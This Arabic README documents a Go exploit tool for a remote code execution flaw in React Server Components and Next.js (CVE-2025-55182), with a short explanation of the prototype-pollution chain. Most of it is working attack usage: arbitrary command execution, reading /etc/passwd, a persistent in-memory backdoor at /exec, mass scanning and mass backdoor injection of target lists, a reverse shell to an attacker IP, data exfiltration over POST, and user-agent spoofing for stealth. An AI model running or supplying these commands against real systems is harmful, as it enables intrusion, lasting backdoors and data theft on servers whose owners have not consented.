CVE-2025-55182 ثغرة تنفيذ الأوامر عن بُعد في مكونات خادم React - إثبات المفهوم بلغة Go

⚠️ للاستخدام المصرّح به في اختبار الأمان فقط ⚠️

الوصف

CVE-2025-55182 (المعروف أيضًا باسم CVE-2025-66478) هي ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React (بروتوكول Flight). هذه الأداة هي تنفيذ بلغة Go لإثبات المفهوم لأغراض البحث الأمني واختبار الاختراق المصرّح به.

الإصدارات المتأثرة:

• react-server-dom-webpack: 19.0.0 - 19.2.0
• Next.js: 15.x (قبل التصحيحات: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
• Next.js: 16.x (قبل 16.0.7)
• Next.js: 14.3.0-canary.77 والإصدارات التجريبية الأحدث

تفاصيل الثغرة

يستغل الاستغلال تلوث النموذج الأولي (prototype pollution) في عملية إلغاء تسلسل بروتوكول Flight:

1. يستخدم إلغاء التسلسل $@ للحصول على مرجع Chunk
2. يضع Chunk.prototype.then كخاصية then للكائن الجذر
3. يضبط الحالة على RESOLVED_MODEL لاستدعاء initializeModelChunk مع قطعة وهمية خاضعة للتحكم
4. يحفّز إلغاء تسلسل Blob الذي يستدعي response._formData.get بحمولة المهاجم
5. يضبط response._formData.get على دالة المُنشئ (Function constructor) لتنفيذ تعليمات برمجية عشوائية

الميزات

• قدرة كاملة على تنفيذ الأوامر عن بُعد - تنفيذ أوامر عشوائية مع عرض المخرجات
• وضع التحقق من الثغرة - كشف آمن دون استغلال
• كشف إصدار Next.js - بصمة إصدار تلقائية
• حقن شل ذاكرة (Memory Shell) - باب خلفي دائم في /exec?cmd=
• فحص دفعاتي - فحص متعدد الخيوط مع مخرجات JSON
• دعم وكيل شامل:
  • SOCKS5 مع/بدون مصادقة
  • SOCKS4/SOCKS4a
  • وكيل HTTP/HTTPS مع/بدون مصادقة
• وضع التخفي - وكيل-مستخدم للمتصفح، الزاحف، الأمان
• تحديد معدل الطلبات - تأخير قابل للتكوين بين الطلبات
• شل عكسي - mkfifo + nc (يعمل على Alpine/busybox)
• تسريب البيانات - إرسال مخرجات الأوامر عبر POST إلى خادم المهاجم
• بنية متعددة المنصات - أكثر من 30 مجموعة نظام/معمارية
• مخرجات JSON - نتائج قابلة للقراءة آلية للأتمتة

التثبيت

الملفات الثنائية المُجمّعة مسبقًا

قم بتنزيل أحدث إصدار لمنصتك من إصدارات GitHub.

الملفات الثنائية المتاحة:

• Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
• Windows: amd64, 386, arm64
• macOS: amd64 (Intel), arm64 (Apple Silicon)
• FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
• والمزيد...

من المصدر

# استنساخ المستودع
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# بناء للمنصة الحالية
go build -o cve-2025-55182 .

# أو بناء لجميع المنصات
chmod +x build.sh
./build.sh

بناء من المصدر

بعد تشغيل ./build.sh، ستتوفر الملفات الثنائية في المجلد build/ لجميع المنصات المدعومة.

الاستخدام

الأوامر الأساسية

# التحقق من ثغرة على هدف واحد
./cve-2025-55182 -u http://target:3000 --check

# كشف إصدار Next.js
./cve-2025-55182 -u http://target:3000 --version-check

# تنفيذ أمر مع عرض المخرجات
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"

شل الذاكرة (باب خلفي دائم)

# حقن شل الذاكرة (يتحقق أولاً مما إذا كان مثبتًا بالفعل)
./cve-2025-55182 -u http://target:3000 --memshell

# اختبار ما إذا كانت شل الذاكرة نشطة
./cve-2025-55182 -u http://target:3000 --test-shell

# تنفيذ أمر عبر شل الذاكرة
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"

# بعد الحقن، يمكنك أيضًا استخدام curl مباشرة:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'

ترويسات مخصصة وتجاوز SSL

# إضافة ترويسات مخصصة (يمكن استخدامها عدة مرات)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# تخطي التحقق من شهادة SSL (للشهادات الذاتية التوقيع)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure

# الدمج مع خيارات أخرى
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

دعم الوكيل

# SOCKS5 مع مصادقة
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 بدون مصادقة
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080

# وكيل SOCKS4
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080

# وكيل HTTP
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080

الفحص الدفعي

# فحص دفعاتي من ملف
./cve-2025-55182 --urls targets.txt --check

# فحص دفعاتي مع مخرجات JSON
./cve-2025-55182 --urls targets.txt --check --json -o results.json

# فحص دفعاتي مع عدة خيوط وتخفي
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s

# حفظ الأهداف الضعيفة في ملف
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt

# حقن شل ذاكرة دفعاتي
./cve-2025-55182 --urls targets.txt --memshell --workers 10

# تنفيذ أوامر دفعاتي
./cve-2025-55182 --urls targets.txt -c "id" --threads 5

تسريب البيانات عبر الشبكة

# شل عكسي (mkfifo + nc، يعمل على Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444

# بدء المستمع على جهاز المهاجم أولاً:
nc -lvnp 4444

# تسريب مخرجات الأوامر عبر HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# بدء المستمع: nc -lvnp 4444

الخيارات

الخيار	الوصف
-u, --url	عنوان URL الهدف (مثل http://localhost:3000)
-f, --file	ملف يحتوي على عناوين URL الهدف (واحد لكل سطر)
--urls	اسم مستعار لـ -f/--file
-o, --output	ملف الإخراج للأهداف الضعيفة
--json	إخراج النتائج بتنسيق JSON
-c, --command	الأمر المراد تنفيذه (مع المخرجات)
--check	التحقق من وجود الثغرة
--version-check	كشف إصدار Next.js
--proxy	عنوان URL للوكيل (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
-H, --header	ترويسة مخصصة (يمكن استخدامها عدة مرات)
-k, --insecure	تخطي التحقق من شهادة SSL/TLS
--stealth	وضع التخفي: browser، crawler، security (الافتراضي: browser)
--delay	التأخير بين الطلبات (مثل 2s، 500ms)
--variants	استخدام متغيرات حمولة متعددة للفحص الشامل
--memshell	حقن شل الذاكرة (باب خلفي دائم)
--test-shell	اختبار ما إذا كانت شل الذاكرة نشطة
--shell-exec	تنفيذ أمر عبر شل الذاكرة
--revshell IP PORT	إنشاء شل عكسي
--exfil CMD IP PORT	تنفيذ أمر وإرسال المخرجات عبر POST
-t, --timeout	مهلة الطلب بالثواني (الافتراضي: 15)
--threads	عدد الخيوط المتزامنة (الافتراضي: 10)
--workers	اسم مستعار لـ --threads
--nocolor	تعطيل الإخراج الملون (لنظام Windows/الأنابيب)
-h, --help	عرض رسالة المساعدة
-v, --version	عرض الإصدار

أنواع الوكيل

socks5://user:pass@ip:port  - SOCKS5 مع مصادقة
socks5://ip:port            - SOCKS5 بدون مصادقة  
socks5h://ip:port           - SOCKS5 مع حل أسماء نطاقات عن بُعد
socks4://ip:port            - وكيل SOCKS4
socks4a://ip:port           - وكيل SOCKS4a
http://user:pass@ip:port    - وكيل HTTP مع مصادقة
http://ip:port              - وكيل HTTP بدون مصادقة
https://ip:port             - وكيل HTTPS

أوضاع التخفي

الوضع	الوصف
browser	يحاكي طلبات المتصفح الحقيقية (Chrome، Firefox، Safari، Edge) - الافتراضي
crawler	يحاكي زاحفي محركات البحث (Googlebot، Bingbot، Baiduspider، إلخ)
security	يستخدم وكيل-مستخدم ماسحات الأمان (Nessus، Nuclei)

شل الذاكرة

ميزة شل الذاكرة تحقن بابًا خلفيًا دائمًا يقوم بما يلي:

1. يتحقق أولاً - قبل الحقن، يتحقق مما إذا كانت الشل مثبتة بالفعل
2. يعلق http.Server.prototype.emit - يعترض جميع طلبات HTTP
3. ينشئ نقطة نهاية /exec - يقبل معامل الاستعلام cmd
4. يبقى حتى إعادة التشغيل - يستمر في ذاكرة الخادم

# بعد الحقن:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'

هيكل المشروع